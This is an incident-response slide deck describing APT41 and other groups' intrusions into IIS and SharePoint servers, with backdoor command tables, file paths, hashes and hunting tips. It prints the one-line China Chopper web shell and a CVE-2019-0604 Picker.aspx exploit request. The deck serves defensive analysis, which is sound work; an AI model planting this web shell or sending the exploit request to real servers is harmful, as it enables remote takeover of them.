Mandiant IR
Grab bag of attacker activity

Tom Hall & Mitch Clarke
Tom Hall

- Principal Consultant
  - FireEye Mandiant, Incident Response
  - 4 years
  - thall_sec

Mitchell Clarke

- Senior Consultant
  - FireEye Mandiant, Incident Response
  - 2 years
  - snozberries-au
Disclosure Statement

Case studies and examples are drawn from our experiences and activities working for a variety of customers, and do not represent our work for any one customer or set of customers.

In many cases, facts have been changed to obscure the identity of our customers and individuals associated with our customers.
Topics

- APT41
  - Targeting IIS
  - Are they listening?
  - You trust us, right?
- Picking SharePoint
  - Is it Iran, is it China?
APT41 aka. WINNTI/BARIUM

Chinese threat group, also conducts financially motivated activity for personal gain

- Espionage:
  - Targeted healthcare, high-tech, telecom; IP theft until 2015
  - Some indication group also tracks individuals; conducts surveillance

- Cyber Crime: Array of financially motivated intrusions
  - Stealing source code and digital certificates, virtual currency manipulation, and attempting to deploy ransomware

- Supply Chain:
  - Executed multiple software supply chain compromises, gaining access to software companies to inject malicious code into legitimate files before distributing updates
Targeting IIS
FRONTMAN

- FRONTMAN is deployed by the attackers as a windows service, and uses the Microsoft HTTP Server API calls to implement functionality

<table>
<thead>
<tr>
<th>Description</th>
<th>FilePath</th>
</tr>
</thead>
<tbody>
<tr>
<td>Payload</td>
<td>C:\Windows\System32\http.dll</td>
</tr>
<tr>
<td>Error Logging</td>
<td>c:\windows\temp\front.tmp</td>
</tr>
</tbody>
</table>
When processing a GET request, the backdoor then performs a decoding of the URL to extract a command and optional arguments.

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>cmd</td>
<td>Execute an arbitrary command through cmd.exe /c, the response is returned to the attacker</td>
</tr>
<tr>
<td>pslist</td>
<td>Performs a process listing</td>
</tr>
<tr>
<td>kill</td>
<td>Kills a process based on ProcessID</td>
</tr>
<tr>
<td>down</td>
<td>Send a file from the victim to the attacker</td>
</tr>
<tr>
<td>[POST]</td>
<td>Accepts file uploads through HTTP POST requests</td>
</tr>
</tbody>
</table>
In this instance, the attackers not only compiled the sample for the target organisation, but the individual IIS server hosting this site internally.

`hxpx://alerts.[redacted].co[.][redacted]:443/[campaign_code]`
**CHIPSHOT**

- CHIPSHOT is a dropper for a .NET WebShell, the dropper extracts and loads a .NET assembly from its resource section dependent on version.

<table>
<thead>
<tr>
<th>Description</th>
<th>FilePath</th>
</tr>
</thead>
<tbody>
<tr>
<td>Loader</td>
<td>C:\Windows\System32\Filter_Net4.0.exe</td>
</tr>
<tr>
<td>Payload</td>
<td>C:\Windows\assembly\GAC_MSIL\System.Web.ServerHttpModule\1.0.0.0__599b352ad0e0889c\System.Web.ServerHttpModule.dll</td>
</tr>
</tbody>
</table>

![Image of CHIPSHOT folder structure](image-url)
### CHIPSHOT

- The WebShell listens for a GET OR POST parameter named `Microsoft.Soft`
- Parameters z1 and z2 are used to specify arguments

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>A</td>
<td>Get current directory and drives</td>
</tr>
<tr>
<td>B</td>
<td>Get file list, path specified in parameter z1</td>
</tr>
<tr>
<td>C</td>
<td>Read text file, path specified in parameter z1</td>
</tr>
<tr>
<td>D</td>
<td>Write text file, path specified in parameter z1</td>
</tr>
<tr>
<td>E</td>
<td>Delete file, path specified in parameter z1</td>
</tr>
<tr>
<td>F</td>
<td>Download file, path specified in parameter z1</td>
</tr>
<tr>
<td></td>
<td>...</td>
</tr>
<tr>
<td>Q</td>
<td>Execute SQL, connstring and SQL statement specified in parameter z1</td>
</tr>
</tbody>
</table>
CHIPSHOT

- CHIPSHOT adds a native module named `SrvHttpModule` to the IIS config
  `%WINDIR%\System32\inetsrv\Config\applicationHost.config`

- Modules were introduced in IIS 7.0 and are the successor to ISAPI filters, modules give unrestricted access to resources in IIS.

- **Hunting tip:** Try parsing IIS configs in the environment and identify outliers using
  - Unusual paths
  - Unsigned DLLs
Are they listening?
Are they listening?

- WebShells are easy to identify in an environment with full packet capture capabilities

[Image of TCP stream with labels: Traffic from attacker, Response from the victim]

Are they listening?

- Attackers became more cautious in the environment, adding encryption to hide from network sensors.
- Communications are now AES encrypted.
Aware of third-party organisations in the environment, a week after another vendor arrived, the attackers modified their key phrase

```java
string kk = "MICROSOFTAWARE7";
```
You trust us, right?
You trust us, right?

- Which of these two samples appears malicious?

<table>
<thead>
<tr>
<th>FilePath</th>
<th>FileName</th>
<th>MD5 Hash</th>
<th>Signed</th>
<th>Subject</th>
<th>Issuer</th>
</tr>
</thead>
<tbody>
<tr>
<td>C:\Windows</td>
<td>l6.exe</td>
<td>bbd69e044 8658f087c3 c52035535 b415</td>
<td>False</td>
<td>N/A</td>
<td>N/A</td>
</tr>
<tr>
<td>C:\PerfLogs\Admin</td>
<td>simplify_i64d.exe</td>
<td>2e834d8dd e313e9929 97cbda050 a15f1</td>
<td>True</td>
<td>Whizzimo, LLC</td>
<td>Go Daddy Secure Certificate Authority</td>
</tr>
</tbody>
</table>
APT41 will use stolen certificates to sign their tools and hide from responders in an environment

- Cross-overs between cyber crime and espionage

In this engagement, after the client tipped off the attacker they brought in signed mimikatz
Picking SharePoint

Is it Iran, is it China?
Picking SharePoint

- CVE-2019-0604
  - RCE vulnerability in SharePoint discovered April 2019

- Typically in the wild seen referencing ‘picker.aspx’ used to upload first stage ChinaChopper

```
POST /_layouts/15/Picker.aspx

http://[redacted].[redacted].com/_layouts/15/Picker.aspx?PickerDialogType=Microsoft.SharePoint.WebControls.ItemPickerDialog,%20Microsoft.SharePoint,%20Version=15.0.0.0,%20Culture=neutral,%20PublicKeyToken=71e9bce11e9429c&ForceClaims=False&DisableClaims=False&EnabledClaimProviders=&EntitySeparator=;%EF%BC%9B%EF%94%8D%EF%94%8D%AE%E2%81%8F%E1%8D%A4%89B&DefaultSearch=
```
Picking SharePoint

CVE-2019-0604
POST /_layouts/15/Picker.aspx

ChinaChopper
<%@ Page Language="Jscript"%><%eval(Request.Item["[redacted]"],unsafe);%>

SEASHARPEE (TwoFace)
Two-stage WebShell seen in APT34 incidents
Picking SharePoint

- CVE-2019-0604
- ChinaChopper
  ```
  <%@ Page Language="Jscript" %>
  <%= eval(Request.Item["[redacted]"], "unsafe"); %>
  ```
- SEASHARPEE (TwoFace)
  Two-stage WebShell seen in APT34 incidents
- FOCUSFJORD
  APT27 backdoor, only seen in some breaches following SEASHARPEE
SEASHARPEE (TwoFace)

- SEASHARPEE comprises of a loader and embedded payload
  - Has anti-forensic capabilities and extended functionality dependent on the sample
  - Expects a password in a HTTP cookie field `pwd`
- First seen in APT34 intrusions, October 2015
- APT34 toolsets leaked and reported by ZDNet, April 2019
FOCUSFJORD

- Following ChinaChopper and SEASHARPEE, some intrusions have seen FOCUSFJORD as an additional persistence mechanism.

- **Stage 1:**
  - EXE side-loads DLL shellcode loader
  - Default config stored in registry

- **Stage 2:**
  - Initial connection to attacker C2, updated configuration overwrites shellcode

<table>
<thead>
<tr>
<th>Description</th>
<th>FilePath</th>
<th>MD5 Hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>EXE</td>
<td>C:\ProgramData\chrmstp\chrmstp.exe</td>
<td>2427dba8bb8afc629b5739a783002bb1</td>
</tr>
<tr>
<td>Shellcode</td>
<td>C:\ProgramData\chrmstp\wtsapi32.dll</td>
<td>0d13604f8a429b40ea7538c309e264c2</td>
</tr>
<tr>
<td>Shellcode</td>
<td>C:\ProgramData\chrmstp\wtsapi32.hlp</td>
<td>ea7538c309e264c2</td>
</tr>
</tbody>
</table>
FOCUSFJORD

- FOCUSFJORD uses 14 Registry Values, value data is Triple DES encrypted with the first 8 bytes of a CPU identifier string, appended with a substring
  - HKEY_LOCAL_MACHINE\SOFTWARE\Classes \<CPU Identifier>-Ii37389743nxshkhjhgee\1
  - HKEY_LOCAL_MACHINE\SOFTWARE\Classes \Intel64 Family 6 Model 63 Stepping 2-Ii37389743nxshkhjhgee\1

<table>
<thead>
<tr>
<th>Key</th>
<th>Configuration Entry</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>[Benign EXE]</td>
</tr>
<tr>
<td>2</td>
<td>[Shellcode Loader]</td>
</tr>
<tr>
<td>3</td>
<td>[Shellcode Name]</td>
</tr>
<tr>
<td>4</td>
<td>[Launching folder]</td>
</tr>
<tr>
<td>5</td>
<td>[Injected process]</td>
</tr>
<tr>
<td>6</td>
<td>[Service Name]</td>
</tr>
<tr>
<td>7</td>
<td>[Service Name]</td>
</tr>
<tr>
<td>8</td>
<td>[C2 IP Address]</td>
</tr>
<tr>
<td>9</td>
<td>[Unknown – not consistent]</td>
</tr>
<tr>
<td>10</td>
<td>[Unknown - consistent]</td>
</tr>
<tr>
<td>11</td>
<td>Not implemented</td>
</tr>
<tr>
<td>12</td>
<td>[Campaign code]</td>
</tr>
<tr>
<td>13</td>
<td>[Unknown - consistent]</td>
</tr>
<tr>
<td>14</td>
<td>[Registry substring]</td>
</tr>
</tbody>
</table>
Wrap-Up
Grab bag of attacker activity

- APT41
  - Targeting IIS
  - Are they listening?
  - You trust us, right?
- Picking SharePoint
  - Is it Iran, is it China?
Thank You